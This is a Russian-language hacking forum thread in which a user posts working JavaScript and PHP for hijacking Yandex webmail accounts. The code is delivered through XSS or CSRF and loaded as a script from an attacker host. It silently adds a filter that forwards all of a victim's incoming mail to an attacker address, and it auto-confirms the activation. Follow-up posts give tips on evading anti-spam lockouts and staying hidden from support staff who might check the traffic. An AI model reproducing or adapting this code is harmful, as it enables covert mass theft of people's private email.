    Вместе с тем, поскольку тот скрипт - специализированная программа для сбора сообщений, следует отдельно раскрыть тему внедрения фильтра в почте яндекса.

    Характеристика создания фильтра на яндексе:

    1. Воспринимаются только пост-запросы.
    2. Реферрер не проверяется.
    3. Требуется подтверждения для активации. То есть от одного того, что вы внедрите фильтр, толку мало, так как он останется неактивированным. Для активации вам на почтовый ящик, на который была настроена пересылка, отправляется письмо с ключом активации пересылки. А теперь самое интересное: для того, чтобы активация прошла успешно, пользователь, проходящий по ссылке, должен быть авторизован на яндексе! Не имея кук от яндекса, активация невозможна!


    JS-инклудер фильтров, работающий с любых доменов

    toemail - почтовый ящик, куда настраивается пересылка всех входящих (обязательно);
    autoconfirm - адрес серверной части, которая используется для автоматической активации фильтра (необязательно).

    * фильтр не будет внедрен повторно с того же домена в течение 30 дней, что обеспечено внедрением соответствующей куки.
    Внимание! Если пользователь запускает скрипт с разных доменов, фильтр прописывается неоднократно, что некошерно. Избегайте этого.

    Code:
    /*/// --> :Yandex.ru:                     <-- /////
    
    ///// --> :LeverOne. 11.2009:             <-- /////
    
    ///// --> :Example:                       <-- /////
    
    javascript:
    with(window) toemail= '[email protected]'
    //, autoconfirm='http://yoursite.xz/autoconfirm.php' %0A
    ;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/yand_inc.js';
    void(0);
    
    ///*/
    
    
    toemail =     window.toemail     || false;
    autoconfirm = window.autoconfirm || false;
    
    toemail != false && document.cookie.indexOf('f_i=1') == -1 ? include_filter() : false;
    
    function include_filter() {
      document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
                                 '<form action=http://mail.yandex.ru/neo/action_setup_filter_add method=post id=myform target=myfr>' +
                                 '<input type=hidden name=retpath value=http://ya.ru/blabla>' +
                                 '<input type=hidden name=filter_name value=\' \'>' +
                                 '<input type=hidden name=letter value=nospam>' +
                                 '<input type=hidden name=logic value=0>' +
                                 '<input type=hidden name=cliker value=forward>' +
                                 '<input type=hidden name=forward_address value=' + toemail + '>' +
                                 '<input type=hidden name=forward_with_store value=on>' +
                                 '<input type=submit style=display:none name=submit value=1><\/form>';
      document.getElementById('myform').submit.click();
      with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000);
      document.cookie = 'f_i=1; expires=' + valid_until.toGMTString();
      autoconfirm != false ? confirm_filter() : false;
    }
    
    
    function confirm_filter() {
      with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = autoconfirm;
    
    }
    
    Автоактивация фильтра

    1. Активация самим пользователем

    Для использования этого варианта вам нужно прописать:

    - при запуске js-инклудера фильтра переменную autoconfirm, как написано в примере выше;
    - в autoconfirm.php адрес и пароль к ящику на mail.ru (реализовано для примера), куда настроена пересылка писем.

    Скрипт входит в ваш ящик, находит письмо с кодом активации и подсовывает его пользователю яндекса, который его отсылает.

    autoconfirm.php
    PHP:
    <?php

    // здесь вы указываете свои данные

    $toemail  '[email protected]'
    $password '123456';



    // 1. авторизация

    $toemail explode('@'$toemail);
    $postdata "Login=" $toemail[0] . "&Domain=" .$toemail[1]. "&Password=" $password;
    $fp fsockopen("win.mail.ru"80) or die();
    fputs ($fp"POST /cgi-bin/auth HTTP/1.0\r\nHost: win.mail.ru\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " strlen($postdata). "\r\n\r\n$postdata");
    $cookie "";
    while (!
    feof($fp))
    {
       
    $cookie .= fgets($fp);
    }
    fclose($fp);
    preg_match('/Mpop=.+?(?=; )/'$cookie$cookie);


    // 2. поиск письма c ключом

    $message requester('win.mail.ru''/cgi-bin/search?q_from=Postmaster%40yandex.ru&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all'$cookie[0], '/\d{20}(?="><\/td>)/');


    // 3. выделение ключа активации & вывод js-команд

    if ($message[0][0] != ''
    {
       
    $key requester('win.mail.ru''/cgi-bin/readmsg?id=' $message[0][0], $cookie[0], '/ec\?e=(\d+)"/');
       echo 
    "new Image().src='http://mail.yandex.ru/neo/action_accept_email?e=" $key[1][0] . "';with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000); document.cookie = 'f_a=1; expires=' + valid_until.toGMTString();";
    }
    else
       echo 
    "function new_action() { with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src ='http://" $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . "'} setTimeout(new_action, 1000); ";
       

    // обёртка запросов

    function requester($host$path$cookie$regexp "")

       
    $fp fsockopen($host80) or die(); 
       
    fputs ($fp"GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 
       
    $answer=''
       while (!
    feof($fp)) $answer .= fgets($fp4096); 
       
    fclose($fp); 
       if (
    $regexp != ''preg_match_all($regexp$answer$answer); 
       return 
    $answer
    }  

    ?>
    2. Активация без участия пользователя

    Сначала Я процитирую:

    А теперь и весь прикол: чтобы активировать фильтр, вам нужно авторизоваться в собственном любом почтовом ящике на яндексе и пройти по ссылке. Проверяется валидность кук, но не проверяется их принадлежность. На этой мажорной ноте мы и закончим.

    СКАЧАТЬ _http://grleverone.narod.ru/js_dumpers.rar


    LeverOne / 2007-2009
     
    #3 LeverOne, 21 Oct 2007
    Last edited: 25 Nov 2009
  4. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    странно что никто не оценил довольно трудоемкую работу тс)

    LeverOne
    можно подробнее про блокировку писем?
    (рамблер)
     
  5. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Спасибо, но это вполне закономерно по той причине прежде всего, что

    ===== 31.10.2009
    не было кина, а читать было слабо почти всем.
    =====
    сборщики работают только будучи запущенными с поддоменов самих почтовиков (win.mail.ru (koi.mail.ru), mail.yandex.ru, mail.rambler.ru). С других поддоменов они не работают в силу требований безопасности браузеров.

    ===== 31.10.2009
    На данный момент для запуска сборщика для mail.ru подойдет ксс на ПОДДОМЕНЕ.
    =====

    Это обстоятельство налагает ограничения на XSS-уязвимость. В итоге только осведомленные потенциальные читатели могут проверить в действии. Менее сведущим не хватает базы. И такое положение дел нормально и меня устраивает. Главное - что теперь человек, забивший в поисковиках то, что некогда забивал Я, не погрузится в информационный вакуум по данной тематике, а попадет на эту страницу. И в пределах нескольких лет, которые пройдут от ее написания, вне зависимости от работоспособности кодов, ему будут предоставлены подходы в решении его задачи. Вот для этого Я писал эту статью.

    Мне, похожим образом, было интересно ознакомиться с весьма старыми статьями Digital Scream:
    http://www.xakep.ru/post/19088/default.asp
    http://www.xakep.ru/post/19041/default.asp


    Что касается rambler.ru и блокировки ящика... замечено, что при попытках массовых пересылок в течение короткого времени новый интерфейс блокируется.
    Вы успешно входите в ящик --> выбираете соотв. папку и вам вместо списка сообщений вывешивают страницу:

    "Извините, система недоступна

    Извините, в настоящий момент система недоступна. Попробуйте позже.

    Sorry, the system is unavailable now. Try later."

    При заблокированном ящике остается возможность отправлять с него письма. Автоматической разблокировки не предусмотрено. Единственным выходом является переход в старый интерфейс, который является уже отмирающим явлением. Как переходить по интерфейсам - статья Майора

    Такие обстоятельства надо учитывать, поскольку естественным действием юзера-подопытного будет обращение в поддержку. А естественным действием поддержки - просмотр трафика. А в трафике много всего интересного, чего бы не надо им показывать. :cool: Именно для разрешения этой проблемки был реализован куки-контроль.

    Другой способ - автоудаление сообщения с кодом на скрипт, ИМХО, менее геморная, но более палевная альтернатива.

    Очевидно, что автоблокировка ящика - противоспамовая мера. Но блокировка происходит не всегда. Я полагаю, автоматически обрабатываются четыре показателя: давность создания ящика, атрибут содержимого сообщений (есть ли уже спам-маркировка или нет), количество пересылаемого, частота пересылки. О конкретных показателях я судить не могу.
     
    #5 LeverOne, 4 Nov 2007
    Last edited: 18 Nov 2009
    1 person likes this.
  6. timphp

    timphp New Member

    Joined:
    22 Apr 2007
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Сделай видео по возможности...